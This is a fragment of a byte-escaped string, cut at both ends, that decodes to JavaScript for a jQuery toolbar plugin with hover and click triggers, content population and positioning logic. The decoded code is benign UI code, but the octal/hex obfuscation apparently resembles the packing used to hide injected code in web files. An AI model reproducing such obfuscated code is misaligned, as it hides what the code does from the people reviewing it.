x61\x73\163\75\42\164\157\157\x6c\x2d\x69\164\145\x6d\163\x22\x20\x2f\x3e\x27\51\12\40\x20\x20\x20\40\40\x20\40\40\40\x20\x20\40\40\40\40\56\x61\160\x70\145\x6e\144\50\x27\x3c\x64\151\166\x20\x63\x6c\141\163\x73\x3d\42\141\162\162\x6f\x77\42\40\x2f\x3e\47\51\xa\40\40\x20\x20\40\x20\40\x20\x20\x20\x20\x20\x20\40\x20\40\x2e\x61\160\x70\x65\156\x64\124\157\50\47\142\x6f\x64\x79\47\51\12\x20\40\40\x20\x20\40\40\x20\x20\x20\x20\x20\40\x20\x20\40\x2e\143\163\x73\x28\x27\157\160\141\x63\x69\x74\x79\x27\54\x20\x30\x29\12\40\40\40\x20\40\x20\40\x20\x20\x20\40\40\x20\40\40\x20\56\150\x69\x64\145\50\51\x3b\12\x20\x20\x20\x20\40\40\40\40\40\x20\x20\40\163\x65\x6c\146\x2e\x74\157\157\154\142\x61\x72\x5f\x61\x72\162\x6f\167\40\x3d\40\x73\x65\154\x66\56\x74\157\157\x6c\142\141\x72\x2e\x66\151\156\x64\50\47\x2e\141\162\x72\x6f\167\47\x29\x3b\12\x20\40\x20\x20\x20\40\40\40\40\x20\40\40\163\145\x6c\146\x2e\151\x6e\151\164\x69\141\154\151\x7a\x65\x54\157\x6f\154\142\x61\x72\x28\x29\x3b\xa\40\40\x20\40\x20\x20\x20\40\175\x2c\xa\xa\x20\x20\40\40\40\40\x20\40\157\x76\x65\162\x72\x69\x64\145\x4f\160\164\x69\x6f\x6e\x73\x3a\x20\146\x75\x6e\x63\x74\x69\x6f\x6e\x28\51\x20\x7b\12\x20\x20\40\40\x20\x20\40\40\x20\40\40\40\x76\141\x72\x20\x73\145\154\146\x20\x3d\x20\164\150\151\163\x3b\xa\40\x20\x20\40\x20\x20\40\x20\40\x20\40\40\44\56\145\x61\x63\150\x28\x20\163\145\x6c\146\x2e\157\x70\164\x69\x6f\x6e\163\54\x20\x66\165\156\143\x74\x69\157\x6e\50\40\44\157\x70\x74\151\157\156\40\51\x20\173\xa\x20\x20\40\x20\40\40\40\40\40\40\40\x20\x20\40\x20\40\151\146\40\x28\164\x79\x70\x65\157\146\x28\x73\145\154\x66\56\x24\x65\154\145\155\x2e\x64\x61\x74\141\50\x27\164\157\157\x6c\x62\x61\x72\x2d\x27\53\x24\x6f\160\164\151\x6f\x6e\x29\x29\40\x21\x3d\40\x22\165\156\144\145\x66\151\x6e\145\x64\x22\51\40\173\xa\x20\x20\x20\x20\x20\x20\40\40\40\40\x20\40\40\x20\x20\x20\40\x20\40\40\x73\x65\154\x66\x2e\157\x70\x74\151\x6f\x6e\163\133\44\157\x70\x74\151\x6f\x6e\135\x20\75\x20\x73\145\154\x66\56\x24\145\154\x65\x6d\x2e\144\141\164\141\x28\47\164\x6f\x6f\154\142\141\x72\x2d\47\53\x24\x6f\160\x74\151\x6f\x6e\51\73\xa\x20\40\x20\40\x20\40\40\x20\40\x20\40\40\x20\40\x20\x20\x7d\xa\40\40\x20\x20\40\40\x20\x20\x20\x20\40\x20\175\51\73\12\40\40\40\40\40\40\x20\x20\175\x2c\xa\xa\40\40\x20\x20\40\40\40\x20\x69\x6e\x69\x74\151\x61\x6c\151\x7a\x65\124\157\157\x6c\142\x61\x72\x3a\x20\146\x75\156\x63\164\x69\x6f\156\50\51\40\173\12\40\x20\40\x20\x20\x20\40\40\40\x20\x20\x20\166\x61\x72\40\x73\145\x6c\146\40\75\40\x74\x68\x69\163\x3b\xa\x20\x20\x20\x20\40\x20\40\x20\40\40\x20\x20\x73\x65\154\146\56\160\x6f\160\x75\x6c\141\x74\x65\x43\157\x6e\164\x65\x6e\x74\x28\x29\x3b\12\40\40\x20\40\40\40\x20\40\x20\40\40\40\163\x65\154\146\x2e\x73\x65\164\124\x72\x69\x67\147\x65\162\x28\51\73\xa\x20\40\40\40\x20\40\x20\40\40\x20\x20\40\163\x65\x6c\x66\x2e\164\x6f\x6f\154\142\141\162\127\x69\144\164\150\x20\x3d\x20\163\x65\x6c\146\56\x74\157\157\x6c\x62\141\x72\x2e\x77\151\144\x74\150\x28\x29\73\12\x20\x20\40\40\x20\40\x20\x20\175\x2c\12\xa\x20\40\40\x20\x20\x20\x20\x20\x73\x65\x74\x54\162\x69\x67\x67\145\x72\72\x20\146\x75\156\143\x74\x69\x6f\x6e\50\x29\40\x7b\12\40\x20\x20\40\x20\x20\40\x20\40\40\x20\x20\x76\141\162\40\x73\145\154\x66\x20\x3d\x20\164\x68\x69\x73\x3b\12\xa\x20\40\x20\40\x20\x20\x20\40\x20\40\x20\40\x69\146\40\50\x73\x65\x6c\146\56\x6f\160\x74\151\x6f\x6e\x73\56\145\166\x65\156\x74\40\x21\75\40\x27\143\x6c\151\x63\153\47\51\40\x7b\xa\xa\x20\x20\40\x20\40\40\40\x20\x20\40\x20\x20\x20\x20\x20\40\166\141\162\40\155\157\166\145\x54\151\x6d\145\x3b\12\x20\x20\x20\40\x20\x20\40\x20\x20\40\40\40\40\x20\40\x20\x66\x75\x6e\x63\164\151\157\156\40\144\145\143\151\x64\145\x54\151\x6d\145\157\x75\164\40\x28\51\x20\x7b\12\40\x20\x20\40\x20\40\40\40\40\x20\40\40\x20\x20\x20\x20\x20\40\x20\x20\x69\146\x20\50\163\x65\154\x66\56\x24\x65\154\x65\155\x2e\150\x61\x73\x43\154\x61\163\x73\x28\47\x70\x72\145\x73\x73\145\144\x27\51\51\x20\173\12\40\40\x20\40\x20\x20\40\x20\x20\40\40\40\x20\x20\40\x20\40\40\x20\x20\x20\x20\x20\40\155\x6f\166\145\124\151\x6d\x65\x20\x3d\40\163\x65\x74\x54\151\155\x65\157\165\x74\50\x66\165\156\143\164\151\157\x6e\x28\51\40\173\xa\x20\40\40\x20\40\40\x20\40\40\x20\40\40\x20\40\40\x20\40\40\40\40\40\x20\40\x20\x20\x20\x20\x20\163\x65\x6c\x66\56\150\151\x64\x65\x28\x29\73\12\x20\x20\40\x20\x20\x20\x20\x20\40\40\40\40\40\x20\40\40\40\40\40\x20\x20\x20\x20\x20\175\54\x20\x31\x35\x30\x29\73\12\40\x20\x20\40\40\x20\x20\40\40\x20\40\x20\40\x20\x20\x20\40\40\x20\x20\175\40\x65\154\163\145\40\x7b\12\x20\x20\40\40\x20\x20\40\40\40\x20\40\x20\40\40\40\40\40\x20\x20\40\x20\40\40\x20\143\x6c\145\x61\162\124\151\155\x65\x6f\x75\164\x28\155\x6f\x76\145\x54\x69\155\145\51\73\12\40\40\x20\40\40\x20\x20\x20\x20\x20\40\40\40\40\40\x20\x20\x20\40\40\x7d\73\12\40\x20\40\40\x20\40\x20\40\40\40\x20\40\x20\40\x20\x20\175\73\xa\xa\x20\40\40\40\x20\40\x20\40\x20\40\40\40\x20\40\x20\40\x73\145\x6c\146\x2e\x24\x65\154\x65\x6d\56\157\x6e\x28\173\xa\x20\40\40\x20\x20\40\x20\x20\40\x20\x20\40\40\x20\x20\40\x20\40\x20\40\155\x6f\x75\x73\x65\145\x6e\x74\145\162\x3a\40\146\x75\156\143\164\151\157\156\x28\x65\x76\x65\x6e\x74\51\40\x7b\xa\40\x20\x20\x20\x20\40\x20\x20\40\40\40\40\40\x20\x20\x20\x20\x20\40\x20\x20\40\x20\40\151\x66\x20\50\163\145\x6c\x66\x2e\44\x65\x6c\x65\155\56\150\141\163\103\x6c\141\x73\163\x28\47\160\162\145\x73\163\145\x64\47\51\x29\x20\173\xa\x20\40\40\40\x20\40\40\x20\x20\40\x20\40\x20\x20\40\40\40\40\x20\x20\x20\x20\x20\x20\40\40\x20\x20\143\154\145\141\162\124\x69\x6d\145\x6f\165\x74\50\x6d\157\x76\x65\124\x69\x6d\145\51\x3b\xa\x20\40\40\x20\40\x20\40\40\40\40\40\40\40\x20\x20\40\40\40\40\x20\x20\x20\x20\x20\x7d\40\x65\x6c\x73\145\40\173\xa\x20\x20\x20\40\40\40\40\x20\x20\40\40\40\40\40\x20\40\x20\40\x20\40\40\40\x20\x20\40\x20\x20\40\x73\x65\154\x66\56\163\x68\x6f\x77\x28\51\73\12\40\x20\x20\x20\x20\40\40\40\x20\x20\x20\40\x20\x20\40\40\x20\x20\40\x20\40\x20\x20\40\x7d\xa\x20\40\40\x20\x20\x20\40\x20\x20\40\x20\40\x20\40\x20\x20\40\40\x20\x20\x7d\12\x20\40\x20\x20\40\x20\x20\x20\x20\x20\40\40\x20\40\40\40\x7d\51\73\xa\12\x20\40\40\x20\x20\40\40\x20\40\x20\40\40\40\40\40\40\163\x65\154\x66\56\x24\x65\154\x65\x6d\56\x70\141\x72\x65\156\x74\x28\51\56\x6f\156\50\x7b\12\x20\40\40\40\40\x20\x20\x20\x20\x20\40\40\x20\x20\40\40\x20\x20\40\x20\x6d\157\165\x73\x65\x6c\x65\x61\x76\x65\x3a\x20\x66\165\156\x63\x74\151\157\156\x28\145\x76\145\x6e\164\51\173\40\144\145\x63\151\144\145\x54\x69\155\145\157\165\x74\x28\51\73\x20\175\12\40\x20\40\x20\x20\40\40\x20\x20\x20\x20\40\x20\40\x20\40\x7d\x29\x3b\12\xa\x20\40\40\40\40\x20\x20\x20\40\x20\40\40\40\x20\x20\40\44\x28\x27\56\164\157\x6f\x6c\55\143\x6f\156\164\141\x69\156\145\x72\47\x29\56\x6f\156\50\173\12\x20\40\x20\x20\x20\x20\40\x20\40\40\40\x20\x20\40\40\40\x20\x20\40\40\x6d\157\165\x73\x65\x65\156\x74\x65\x72\72\x20\x66\x75\x6e\143\164\x69\x6f\156\50\145\x76\x65\x6e\164\51\x7b\x20\143\154\x65\141\x72\124\x69\155\145\157\x75\x74\x28\155\x6f\x76\x65\x54\151\155\x65\x29\73\x20\175\x2c\xa\x20\x20\x20\x20\40\40\40\40\40\40\40\x20\40\x20\x20\x20\40\x20\40\40\155\157\x75\163\x65\x6c\145\141\x76\x65\x3a\40\146\x75\156\143\x74\x69\x6f\x6e\50\x65\x76\145\x6e\164\51\173\x20\144\x65\x63\x69\x64\145\x54\151\155\x65\157\165\164\50\x29\x3b\x20\175\xa\40\x20\x20\40\x20\40\40\40\x20\x20\40\40\40\40\40\40\175\51\x3b\12\x20\x20\x20\x20\x20\x20\x20\x20\x20\40\40\x20\175\12\xa\x20\40\x20\x20\40\40\x20\40\40\40\40\40\x69\x66\40\50\163\x65\154\x66\56\157\x70\x74\x69\x6f\x6e\x73\x2e\145\166\145\x6e\x74\x20\75\75\x20\47\x63\x6c\151\x63\x6b\x27\x29\x20\173\12\40\40\40\40\x20\x20\40\40\x20\40\x20\40\40\40\40\40\163\145\x6c\146\x2e\44\145\x6c\145\155\x2e\x6f\x6e\x28\x27\x63\154\x69\143\153\47\54\40\146\x75\156\x63\x74\151\x6f\156\50\x65\x76\x65\x6e\164\51\x20\x7b\xa\x20\x20\x20\40\40\x20\x20\x20\x20\40\x20\x20\x20\40\x20\40\x20\40\x20\x20\145\x76\x65\x6e\x74\x2e\x70\162\145\166\145\156\164\104\x65\x66\141\x75\x6c\164\50\x29\x3b\xa\40\x20\x20\x20\40\x20\x20\40\40\40\x20\40\40\40\40\x20\x20\40\x20\40\x69\146\50\x73\x65\x6c\x66\56\44\x65\x6c\x65\x6d\x2e\150\141\163\103\x6c\141\x73\x73\50\47\x70\x72\x65\163\x73\145\144\x27\x29\x29\40\173\12\40\x20\40\40\x20\40\40\x20\x20\40\40\x20\x20\40\x20\40\40\x20\40\40\x20\x20\40\x20\163\x65\x6c\x66\x2e\150\x69\x64\145\50\x29\x3b\12\x20\x20\x20\x20\40\x20\40\40\40\x20\40\x20\40\x20\x20\40\x20\x20\40\x20\175\40\145\x6c\x73\x65\x20\x7b\xa\x20\x20\40\x20\40\x20\x20\40\x20\x20\40\40\x20\x20\40\x20\x20\40\40\40\40\40\40\x20\x73\145\154\146\56\x73\x68\157\x77\x28\51\x3b\xa\40\40\40\x20\40\40\x20\x20\x20\x20\x20\x20\x20\x20\x20\40\40\x20\40\x20\x7d\xa\x20\x20\40\40\x20\x20\x20\40\40\40\x20\40\40\40\x20\x20\x7d\x29\73\xa\xa\40\40\40\40\40\x20\x20\40\40\x20\40\40\x20\40\x20\40\x69\x66\40\50\163\145\154\x66\x2e\x6f\x70\164\x69\x6f\x6e\x73\x2e\150\151\x64\145\117\x6e\103\x6c\151\x63\153\51\x20\x7b\xa\40\40\x20\x20\40\40\x20\40\x20\x20\x20\x20\40\40\x20\x20\x20\40\40\x20\44\50\x27\x68\x74\155\x6c\47\51\x2e\x6f\156\x28\42\143\x6c\x69\x63\153\56\164\157\157\x6c\x62\x61\x72\42\54\40\146\165\156\143\x74\x69\157\x6e\x20\50\x20\145\166\145\156\x74\x20\51\x20\173\12\40\40\x20\40\x20\40\40\x20\40\40\40\x20\40\x20\40\40\40\40\x20\x20\40\40\40\x20\151\x66\x20\50\x65\166\145\156\x74\56\164\x61\x72\147\x65\x74\40\41\75\x20\163\x65\x6c\146\56\x65\154\145\155\x20\46\x26\12\40\x20\40\40\40\x20\40\40\40\x20\x20\40\x20\x20\40\x20\x20\40\40\x20\40\x20\x20\40\x20\x20\40\x20\163\145\x6c\x66\x2e\x24\145\154\145\x6d\x2e\150\141\x73\50\145\166\145\x6e\164\x2e\x74\x61\162\x67\x65\164\x29\56\154\x65\x6e\147\x74\150\40\x3d\x3d\x3d\40\x30\40\x26\46\12\40\40\x20\x20\40\40\x20\x20\40\40\x20\40\40\x20\40\40\40\x20\x20\40\40\40\x20\40\40\40\40\40\163\145\x6c\146\56\x74\x6f\x6f\154\142\x61\162\x2e\150\x61\x73\50\145\x76\x65\156\x74\x2e\164\x61\162\x67\x65\164\x29\x2e\x6c\145\156\x67\x74\150\40\75\x3d\75\40\x30\40\x26\46\12\40\x20\x20\40\40\x20\x20\40\40\40\40\40\x20\40\x20\x20\x20\40\x20\x20\x20\x20\40\40\x20\x20\x20\x20\163\x65\x6c\146\x2e\164\157\157\x6c\142\141\x72\56\151\x73\50\42\x3a\x76\151\x73\x69\142\154\x65\42\51\51\x20\173\xa\x20\40\40\x20\x20\x20\x20\x20\x20\40\x20\x20\x20\x20\x20\x20\x20\x20\x20\40\x20\40\x20\40\40\40\40\40\x73\145\154\146\56\x68\151\144\x65\x28\51\73\xa\x20\x20\x20\x20\x20\40\40\x20\40\x20\x20\x20\x20\x20\40\x20\x20\x20\x20\40\40\x20\x20\40\175\12\x20\40\x20\40\40\40\x20\40\40\40\40\40\x20\x20\40\x20\40\40\40\x20\175\51\x3b\12\x20\x20\x20\40\40\x20\x20\x20\x20\x20\x20\40\x20\40\x20\40\x7d\xa\x20\40\40\40\x20\x20\40\40\40\x20\40\40\x7d\12\12\x20\40\x20\40\40\40\x20\40\x20\40\x20\x20\x69\146\40\50\x73\x65\x6c\x66\x2e\x6f\160\x74\x69\x6f\x6e\x73\56\150\157\x76\145\x72\51\x20\173\xa\x20\40\x20\40\x20\40\40\x20\x20\x20\x20\40\x20\x20\x20\x20\x76\x61\162\x20\155\157\166\x65\124\x69\x6d\x65\x3b\12\xa\x20\x20\40\x20\40\x20\x20\40\40\40\40\40\40\40\x20\40\x66\165\x6e\143\x74\151\157\x6e\40\144\x65\143\151\x64\145\x54\151\x6d\145\157\165\x74\x20\50\51\40\173\xa\x20\40\x20\x20\40\40\40\x20\40\40\x20\40\40\x20\x20\x20\x20\x20\x20\40\x69\x66\x20\50\163\145\154\146\x2e\44\145\x6c\x65\x6d\56\x68\141\x73\x43\154\x61\x73\x73\50\47\160\162\145\163\163\145\144\x27\x29\x29\x20\173\12\40\x20\x20\40\40\x20\40\40\x20\x20\x20\x20\40\x20\40\x20\x20\x20\40\40\40\40\x20\40\x6d\x6f\x76\x65\x54\151\155\x65\x20\75\40\x73\x65\164\x54\151\x6d\x65\157\x75\164\50\146\x75\156\143\x74\x69\x6f\x6e\x28\x29\40\x7b\xa\40\x20\x20\40\x20\40\x20\x20\x20\x20\x20\x20\x20\40\40\40\40\40\40\x20\40\x20\x20\40\40\40\x20\40\x73\x65\x6c\146\56\x68\x69\144\x65\x28\51\x3b\xa\x20\x20\x20\x20\40\40\x20\40\40\x20\x20\x20\x20\x20\x20\40\40\40\x20\40\x20\x20\40\40\x7d\x2c\x20\x31\65\x30\x29\73\xa\x20\x20\40\40\40\x20\x20\x20\x20\x20\40\x20\x20\x20\40\x20\40\40\40\40\175\40\x65\154\x73\145\x20\173\xa\x20\40\40\40\x20\x20\x20\40\x20\x20\x20\40\40\40\x20\x20\x20\40\40\40\x20\x20\x20\x20\x63\x6c\x65\x61\x72\124\151\155\145\157\165\164\x28\155\157\166\145\x54\x69\155\x65\x29\73\12\40\40\x20\x20\40\x20\40\40\x20\x20\40\40\x20\40\40\40\40\x20\x20\40\x7d\x3b\xa\40\40\40\x20\40\x20\40\x20\x20\40\40\40\x20\40\x20\40\x7d\x3b\12\xa\40\x20\40\40\x20\40\x20\40\x20\x20\x20\x20\40\40\40\40\x73\x65\x6c\146\56\44\x65\154\145\155\x2e\157\156\x28\173\xa\40\40\x20\40\x20\x20\40\x20\x20\40\40\x20\40\40\x20\x20\40\40\x20\x20\155\157\165\x73\x65\x65\x6e\x74\x65\162\72\40\x66\165\156\x63\x74\151\x6f\x6e\50\145\166\145\x6e\x74\51\40\x7b\12\x20\x20\40\40\40\40\40\x20\40\x20\40\x20\x20\x20\40\x20\40\40\40\40\x20\x20\40\40\x69\x66\40\x28\163\x65\154\146\56\x24\145\154\x65\x6d\x2e\150\141\163\x43\154\141\x73\163\x28\x27\160\162\145\x73\163\145\x64\47\51\x29\40\173\xa\40\40\40\x20\40\40\x20\40\x20\x20\40\x20\x20\x20\40\x20\40\40\40\x20\40\x20\x20\40\x20\40\x20\x20\143\154\x65\x61\162\124\151\155\x65\x6f\165\x74\50\155\x6f\166\145\124\151\x6d\x65\51\73\xa\40\x20\40\x20\40\40\40\40\x20\40\x20\x20\x20\40\x20\40\x20\x20\x20\40\40\40\x20\40\x7d\40\145\x6c\x73\145\40\x7b\xa\40\x20\40\40\40\x20\x20\40\40\x20\x20\40\x20\x20\40\x20\x20\x20\40\40\40\x20\x20\40\x20\40\x20\x20\x73\x65\154\146\x2e\x73\150\157\x77\x28\x29\73\xa\x20\x20\x20\40\x20\40\40\40\x20\40\40\x20\40\40\40\x20\x20\40\x20\x20\x20\40\40\x20\175\xa\x20\x20\40\x20\40\x20\x20\40\40\40\x20\x20\40\x20\40\40\40\40\40\40\x7d\12\x20\x20\40\x20\x20\x20\40\x20\40\x20\40\x20\x20\x20\x20\x20\x7d\x29\73\12\12\x20\x20\x20\40\x20\40\40\x20\40\x20\40\40\x20\x20\x20\x20\163\145\154\x66\56\x24\145\x6c\x65\x6d\x2e\x70\141\162\145\x6e\164\50\x29\56\x6f\x6e\50\x7b\xa\x20\40\40\40\40\x20\x20\40\x20\40\40\40\40\40\40\40\40\40\x20\40\x6d\157\165\x73\145\x6c\x65\141\166\x65\72\x20\146\x75\156\143\164\x69\x6f\x6e\50\145\166\x65\156\x74\51\173\40\x64\x65\143\x69\144\x65\124\x69\155\145\157\x75\164\50\x29\x3b\40\x7d\12\40\40\x20\40\x20\40\x20\40\x20\40\40\x20\x20\40\x20\40\175\51\x3b\12\12\x20\40\40\40\40\40\x20\40\x20\40\40\40\x20\x20\x20\x20\44\50\47\56\x74\157\x6f\x6c\x2d\x63\x6f\156\164\141\x69\156\x65\162\x27\51\56\157\x6e\50\173\xa\40\x20\40\40\40\40\40\40\40\x20\40\x20\40\x20\40\x20\x20\x20\40\40\155\157\165\x73\x65\x65\x6e\164\x65\162\72\40\146\x75\156\143\164\x69\157\156\x28\145\166\145\156\164\x29\x7b\x20\143\x6c\145\x61\162\124\151\155\x65\157\x75\x74\x28\155\x6f\x76\145\x54\x69\x6d\x65\x29\73\x20\x7d\54\xa\x20\x20\x20\x20\40\x20\x20\x20\x20\40\40\x20\40\40\x20\40\x20\x20\x20\x20\x6d\x6f\165\163\145\x6c\145\141\166\x65\72\40\x66\x75\156\x63\x74\151\x6f\156\x28\145\x76\x65\x6e\x74\x29\173\40\144\145\143\151\144\x65\124\x69\155\x65\x6f\x75\x74\50\x29\73\40\175\xa\x20\x20\40\40\x20\40\x20\40\x20\40\x20\40\40\40\x20\x20\x7d\51\x3b\12\40\40\x20\40\x20\40\40\x20\40\40\x20\40\175\xa\12\x20\x20\x20\x20\x20\40\40\40\40\x20\40\x20\x24\50\167\x69\x6e\x64\157\167\x29\56\162\x65\163\x69\172\x65\x28\x66\x75\156\x63\x74\x69\x6f\156\50\40\x65\x76\x65\x6e\x74\40\51\x20\x7b\xa\40\x20\x20\x20\40\40\40\x20\x20\x20\40\x20\x20\x20\40\40\145\166\145\156\164\56\x73\x74\157\x70\120\x72\x6f\x70\141\147\141\x74\x69\x6f\x6e\x28\x29\73\12\x20\x20\40\x20\x20\x20\40\40\x20\x20\x20\x20\x20\40\x20\x20\x69\x66\x20\x28\40\163\x65\154\146\x2e\164\x6f\x6f\154\142\141\x72\56\x69\163\x28\42\x3a\x76\151\x73\151\142\x6c\x65\x22\51\x20\x29\40\173\12\x20\x20\x20\x20\x20\x20\40\x20\40\40\40\40\40\40\x20\40\40\40\x20\40\x73\x65\154\x66\56\x74\x6f\x6f\x6c\142\x61\162\103\163\163\40\75\40\163\x65\x6c\x66\56\x67\x65\x74\103\157\x6f\162\x64\151\156\x61\x74\145\163\x28\163\145\154\x66\56\x6f\x70\x74\x69\x6f\156\163\x2e\160\x6f\163\x69\x74\151\x6f\x6e\x2c\x20\62\x30\51\x3b\12\x20\x20\x20\40\40\x20\x20\x20\40\x20\40\x20\x20\40\x20\40\x20\40\40\x20\163\145\154\x66\x2e\x63\x6f\x6c\x6c\151\x73\151\157\x6e\x44\x65\x74\x65\143\x74\x69\157\x6e\x28\51\x3b\12\x20\40\40\40\40\x20\40\x20\x20\x20\40\x20\x20\40\x20\x20\x20\x20\40\40\163\145\154\x66\x2e\x74\x6f\157\154\142\x61\162\56\x63\x73\x73\x28\40\x73\145\x6c\146\x2e\x74\157\x6f\154\142\x61\162\103\x73\x73\x20\x29\73\12\40\40\x20\x20\x20\40\x20\40\40\x20\x20\40\x20\x20\40\40\x20\40\x20\x20\163\145\154\x66\56\x74\x6f\157\154\142\141\x72\137\141\x72\x72\157\x77\56\143\x73\163\50\x20\163\145\x6c\x66\56\141\x72\x72\157\167\x43\163\163\40\x29\73\12\40\x20\x20\x20\40\40\40\40\40\40\x20\40\x20\x20\40\x20\x7d\xa\40\40\x20\x20\40\x20\40\x20\x20\40\x20\40\175\51\x3b\12\x20\x20\x20\x20\x20\x20\40\x20\175\x2c\12\12\40\40\x20\x20\40\x20\x20\x20\x70\157\x70\x75\154\141\164\145\x43\x6f\x6e\164\x65\156\x74\x3a\x20\146\x75\156\143\164\x69\x6f\x6e\x28\51\x20\173\xa\x20\40\x20\40\x20\40\40\x20\x20\40\x20\x20\x76\x61\162\40\163\x65\x6c\x66\40\x3d\x20\164\150\151\x73\73\xa\40\x20\x20\40\40\40\40\x20\40\40\40\x20\166\x61\x72\x20\x6c\x6f\x63\x61\164\x69\157\156\40\x3d\40\x73\145\x6c\146\56\164\x6f\x6f\x6c\142\141\162\56\146\x69\156\144\50\47\x2e\164\x6f\157\154\x2d\151\164\145\x6d\163\47\x29\73\xa\40\x20\x20\x20\40\x20\40\x20\40\x20\40\x20\166\141\x72\x20\x63\x6f\x6e\164\145\156\164\x20\x3d\40\44\50\x73\145\x6c\146\x2e\x6f\x70\x74\x69\x6f\x6e\x73\x2e\143\x6f\156\x74\145\156\164\51\x2e\x63\x6c\157\x6e\x65\50\x20\x74\162\165\145\40\x29\x2e\x66\x69\x6e\x64\x28\47\x61\47\51\56\x61\x64\x64\x43\x6c\141\x73\x73\x28\x27\164\157\157\154\55\151\x74\145\155\47\51\73\12\x20\x20\40\x20\40\40\x20\x20\40\x20\40\x20\154\157\x63\141\164\x69\157\x6e\x2e\x68\164\x6d\x6c\50\143\157\x6e\x74\x65\156\x74\x29\73\xa\x20\40\40\40\x20\40\40\x20\x20\40\40\40\x6c\x6f\x63\x61\164\x69\x6f\x6e\56\146\x69\x6e\144\x28\47\56\x74\x6f\x6f\154\55\151\164\x65\155\x27\x29\x2e\157\x6e\50\47\143\154\x69\x63\153\47\x2c\x20\146\x75\156\143\x74\151\157\x6e\x28\145\166\145\x6e\164\x29\40\173\12\40\40\40\40\x20\x20\40\40\40\40\40\x20\x20\40\40\40\x65\x76\x65\156\164\x2e\160\162\x65\x76\x65\156\164\x44\145\146\141\x75\x6c\x74\x28\51\x3b\12\x20\x20\x20\40\40\40\x20\40\x20\40\40\40\x20\x20\40\40\x73\x65\x6c\x66\x2e\44\x65\154\x65\155\x2e\x74\x72\151\147\x67\x65\x72\50\47\x74\x6f\157\x6c\x62\x61\x72\x49\164\x65\x6d\x43\154\x69\x63\153\x27\x2c\40\164\150\151\x73\x29\73\12\x20\x20\x20\40\40\40\x20\x20\x20\40\x20\40\175\51\73\12\x20\40\x20\x20\x20\x20\x20\x20\x7d\54\12\12\x20\40\x20\x20\40\x20\x20\40\x63\x61\154\x63\x75\154\141\x74\145\x50\157\x73\151\x74\151\x6f\156\72\x20\x66\165\x6e\x63\164\151\x6f\156\x28\51\x20\173\xa\x20\40\40\40\40\x20\40\40\x20\x20\x20\40\166\141\x72\x20\x73\x65\x6c\146\40\75\40\164\x68\151\163\x3b\xa\x20\40\x20\x20\40\40\40\x20\40\40\x20\x20\40\40\x20\40\163\x65\154\x66\56\x61\x72\x72\157\167\103\x73\x73\x20\75\x20\x7b\x7d\x3b\xa\x20\x20\x20\40\x20\x20\40\x20\40\x20\40\40\40\x20\x20\x20\163\x65\154\146\56\x74\157\157\x6c\142\141\162\103\x73\163\40\x3d\x20\163\x65\154\x66\x2e\147\x65\164\x43\x6f\157\x72\x64\x69\x6e\141\x74\x65\x73\x28\163\x65\154\146\x2e\x6f\160\164\151\x6f\x6e\x73\x2e\160\x6f\x73\151\164\x69\x6f\156\54\40\163\145\154\x66\x2e\157\x70\164\x69\x6f\x6e\x73\56\x61\144\x6a\x75\163\x74\x6d\x65\156\x74\51\x3b\xa\x20\40\x20\x20\40\40\x20\x20\40\40\40\x20\40\x20\x20\x20\163\x65\154\146\x2e\x74\x6f\157\154\142\141\x72\x43\x73\x73\x2e\x70\157\163\x69\x74\151\x6f\156\40\75\40\x27\141\x62\x73\157\x6c\165\164\x65\47\x3b\xa\40\x20\40\40\40\40\40\x20\40\40\40\x20\40\x20\40\x20\x73\145\x6c\146\56\x74\x6f\x6f\x6c\x62\141\x72\103\163\x73\x2e\172\x49\156\144\145\170\x20\75\40\163\145\x6c\x66\56\x6f\x70\164\x69\157\156\x73\56\x7a\111\x6e\144\145\170\73\xa\40\40\40\40\x20\40\x20\x20\x20\x20\40\40\x20\40\x20\x20\x73\145\x6c\x66\56\143\x6f\154\154\x69\x73\151\x6f\156\x44\145\164\x65\x63\x74\x69\157\x6e\x28\x29\x3b\12\x20\40\40\40\x20\x20\x20\x20\40\x20\40\40\x20\40\x20\x20\x73\145\154\x66\x2e\164\157\x6f\154\x62\x61\162\56\143\163\x73\50\163\x65\154\x66\x2e\x74\157\x6f\x6c\142\141\162\103\x73\x73\51\73\12\x20\x20\40\x20\40\40\40\40\x20\x20\40\x20\x20\40\40\x20\163\x65\154\146\x2e\164\x6f\x6f\x6c\x62\x61\x72\x5f\141\x72\x72\x6f\x77\x2e\143\x73\x73\x28\x73\x65\154\x66\56\141\162\162\157\x77\x43\x73\163\51\73\xa\x20\40\40\40\x20\x20\x20\40\175\54\12\xa\40\x20\40\40\x20\x20\40\x20\x67\145\164\103\x6f\x6f\x72\x64\151\156\141\x74\145\x73\72\x20\146\165\x6e\x63\x74\151\x6f\x6e\50\x20\x70\x6f\163\151\164\x69\157\x6e\54\40\x61\x64\x6a\165\163\x74\155\145\x6e\164\40\51\40\173\xa\x20\40\x20\x20\40\x20\40\x20\x20\x20\x20\40\166\141\x72\40\x73\x65\x6c\x66\x20\x3d\40\164\150\x69\x73\x3b\xa\40\x20\x20\40\40\x20\40\40\x20\40\40\40\x73\145\154\146\x2e\x63\157\157\x72\144\x69\x6e\x61\x74\145\163\40\75\40\x73\x65\x6c\146\56\44\x65\154\145\155\56\157\x66\x66\x73\145\164\50\51\73\12\12\40\40\x20\40\x20\x20\x20\40\x20\40\x20\40\151\146\40\x28\163\145\x6c\146\x2e\x6f\160\164\x69\x6f\156\x73\x2e\141\x64\x6a\165\x73\164\x6d\145\156\164\x20\46\46\40\163\145\x6c\x66\56\157\x70\164\151\x6f\x6e\163\x2e\x61\144\x6a\x75\x73\x74\155\x65\156\x74\133\x73\x65\x6c\146\56\157\x70\164\x69\157\x6e\x73\x2e\160\x6f\163\151\x74\151\x6f\x6e\x5d\51\40\x7b\12\40\x20\40\40\x20\40\x20\x20\40\x20\40\x20\x20\40\x20\x20\141\x64\152\165\163\x74\155\145\156\x74\40\75\40\163\x65\x6c\146\x2e\157\160\x74\151\157\x6e\163\x2e\141\x64\152\165\x73\164\155\145\x6e\x74\x5b\163\145\154\146\x2e\x6f\x70\x74\x69\x6f\156\163\x2e\160\157\163\151\x74\x69\x6f\156\135\x20\x2b\x20\141\144\152\165\163\x74\155\x65\x6e\164\73\12\40\40\40\40\40\40\40\x20\x20\40\x20\40\175\xa\12\40\40\40\x20\40\x20\x20\40\40\40\x20\40\x73\x77\151\x74\143\x68\x28\163\145\154\146\x2e\157\160\164\151\157\x6e\x73\56\160\157\x73\x69\x74\151\x6f\x6e\x29\40\x7b\xa\40\x20\40\x20\x20\40\x20\40\x20\40\40\40\x20\40\x20\40\x63\x61\x73\x65\40\47\x74\x6f\160\47\x3a\12\x20\x20\40\x20\x20\40\x20\x20\40\40